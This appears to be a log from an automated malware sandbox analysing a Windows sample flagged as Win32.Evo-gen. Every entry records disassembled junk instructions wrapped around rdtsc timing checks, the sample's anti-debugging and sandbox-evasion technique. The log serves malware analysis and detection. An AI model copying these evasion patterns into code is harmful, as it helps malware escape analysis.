Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DC3C00 second address: DC3C08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DC3C08 second address: DC3C11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DC3C11 second address: DC3C2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c jmp 00007FC734E5F780h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DC3D8C second address: DC3D96 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC734882076h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DC3D96 second address: DC3DD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FC734E5F77Dh 0x0000000c jmp 00007FC734E5F787h 0x00000011 push esi 0x00000012 pop esi 0x00000013 popad 0x00000014 popad 0x00000015 pushad 0x00000016 push esi 0x00000017 pushad 0x00000018 popad 0x00000019 push edi 0x0000001a pop edi 0x0000001b pop esi 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DC3F0E second address: DC3F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FC734882076h 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 popad 0x00000015 jng 00007FC734882088h 0x0000001b popad 0x0000001c pushad 0x0000001d pushad 0x0000001e push ecx 0x0000001f pop ecx 0x00000020 pushad 0x00000021 popad 0x00000022 jnp 00007FC734882076h 0x00000028 popad 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FC73488207Bh 0x00000030 jnp 00007FC734882076h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DC3F5C second address: DC3F79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734E5F789h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DC4248 second address: DC4265 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push esi 0x00000006 pop esi 0x00000007 pop eax 0x00000008 jl 00007FC73488207Ah 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pushad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 ja 00007FC73488207Eh 0x0000001a push edi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DC44F9 second address: DC44FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DC44FE second address: DC453C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FC734882087h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jno 00007FC73488207Eh 0x00000012 jmp 00007FC73488207Fh 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D54900 second address: D54906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D54906 second address: D5490C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DCC021 second address: DCC048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 jmp 00007FC734E5F786h 0x0000000c popad 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 js 00007FC734E5F776h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D951EF second address: D7C353 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC734882076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b mov dword ptr [esp], eax 0x0000000e stc 0x0000000f lea eax, dword ptr [ebp+12479FE2h] 0x00000015 jc 00007FC73488207Ch 0x0000001b push eax 0x0000001c je 00007FC734882085h 0x00000022 pushad 0x00000023 pushad 0x00000024 popad 0x00000025 jmp 00007FC73488207Bh 0x0000002a popad 0x0000002b mov dword ptr [esp], eax 0x0000002e movsx ecx, ax 0x00000031 call dword ptr [ebp+1244A926h] 0x00000037 js 00007FC73488207Ah 0x0000003d push eax 0x0000003e pushad 0x0000003f popad 0x00000040 pop eax 0x00000041 push eax 0x00000042 push edx 0x00000043 push edi 0x00000044 jmp 00007FC73488207Eh 0x00000049 pop edi 0x0000004a push ecx 0x0000004b push ebx 0x0000004c pop ebx 0x0000004d js 00007FC734882076h 0x00000053 pop ecx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D952C9 second address: D952D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D958FC second address: D95901 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D95901 second address: D95928 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007FC734E5F78Bh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D960E3 second address: D960E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D9649D second address: D964A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D964A1 second address: D964A7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D964A7 second address: D964B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FC734E5F776h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D964B1 second address: D964F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push esi 0x0000000d jne 00007FC73488207Ch 0x00000013 pop esi 0x00000014 mov eax, dword ptr [eax] 0x00000016 jmp 00007FC734882088h 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f push edi 0x00000020 push eax 0x00000021 push edx 0x00000022 jbe 00007FC734882076h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D96620 second address: D96662 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734E5F77Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c sub dx, FD79h 0x00000011 lea eax, dword ptr [ebp+12479FE2h] 0x00000017 xor di, 64B3h 0x0000001c nop 0x0000001d je 00007FC734E5F787h 0x00000023 push edi 0x00000024 jmp 00007FC734E5F77Fh 0x00000029 pop edi 0x0000002a push eax 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D96662 second address: D7CF07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FC73488207Ch 0x0000000c js 00007FC734882076h 0x00000012 popad 0x00000013 nop 0x00000014 sbb di, E0DAh 0x00000019 sbb ecx, 7009D88Ah 0x0000001f call dword ptr [ebp+122D380Eh] 0x00000025 jnc 00007FC734882097h 0x0000002b jp 00007FC73488207Eh 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DCC45F second address: DCC469 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC734E5F776h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DCC5F1 second address: DCC5FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DCC5FA second address: DCC605 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FC734E5F776h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DCC8AF second address: DCC8CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734882087h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DCC8CA second address: DCC8CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DCC8CF second address: DCC8D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DCCBA1 second address: DCCBBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC734E5F77Eh 0x00000009 jmp 00007FC734E5F77Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DD4354 second address: DD4358 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DD4358 second address: DD435C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DD4496 second address: DD44A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FC734882076h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DD48B6 second address: DD4907 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734E5F786h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pushad 0x0000000d je 00007FC734E5F77Ah 0x00000013 push ecx 0x00000014 jmp 00007FC734E5F77Eh 0x00000019 pop ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c push esi 0x0000001d pop esi 0x0000001e jmp 00007FC734E5F785h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DD520E second address: DD5217 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DD5217 second address: DD5221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FC734E5F776h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DD5221 second address: DD5227 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DD5227 second address: DD5234 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC734E5F778h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DD5234 second address: DD5265 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007FC734882076h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 jo 00007FC734882095h 0x00000016 jmp 00007FC734882089h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DDAB7D second address: DDAB9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC734E5F787h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DD96F8 second address: DD9704 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DD9704 second address: DD9719 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC734E5F781h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DD9719 second address: DD9721 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DD9721 second address: DD9726 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DDA9DF second address: DDA9EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 push ebx 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DDA9EC second address: DDA9FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC734E5F77Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DDA9FD second address: DDAA15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC73488207Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnp 00007FC734882076h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DDCD2A second address: DDCD2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DDCD2E second address: DDCD4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC734882087h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DE109C second address: DE10A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DE1205 second address: DE1228 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007FC734882085h 0x0000000e jmp 00007FC73488207Fh 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 pop edi 0x00000017 push esi 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DE13A8 second address: DE13D5 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FC734E5F776h 0x00000008 jbe 00007FC734E5F776h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007FC734E5F788h 0x00000015 popad 0x00000016 pushad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DE1569 second address: DE1579 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jnp 00007FC734882076h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DE1579 second address: DE1585 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC734E5F776h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DE54CD second address: DE54DD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007FC734882076h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DE54DD second address: DE54F1 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FC734E5F776h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007FC734E5F776h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DE57E9 second address: DE57EF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DE5AA8 second address: DE5AAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DE5AAC second address: DE5AC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FC734882076h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d je 00007FC734882076h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DEA1B1 second address: DEA1C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007FC734E5F782h 0x0000000c ja 00007FC734E5F776h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DEA98B second address: DEA99E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC73488207Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DEA99E second address: DEA9B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734E5F784h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DEAAE9 second address: DEAAF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FC734882076h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DEF338 second address: DEF33F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DEEA63 second address: DEEA79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC734882080h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DEEA79 second address: DEEA7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DEED6D second address: DEED71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DF55E5 second address: DF55E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DF58BC second address: DF58D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC734882082h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DF58D2 second address: DF58DA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DF58DA second address: DF58F5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FC734882081h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DF5E30 second address: DF5E48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FC734E5F782h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DF668F second address: DF6693 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DF6693 second address: DF66AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FC734E5F77Ch 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DF66AC second address: DF66B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DF66B0 second address: DF66E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734E5F77Dh 0x00000007 jmp 00007FC734E5F788h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jnc 00007FC734E5F77Ah 0x00000014 push edx 0x00000015 pop edx 0x00000016 push esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DF66E3 second address: DF66EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
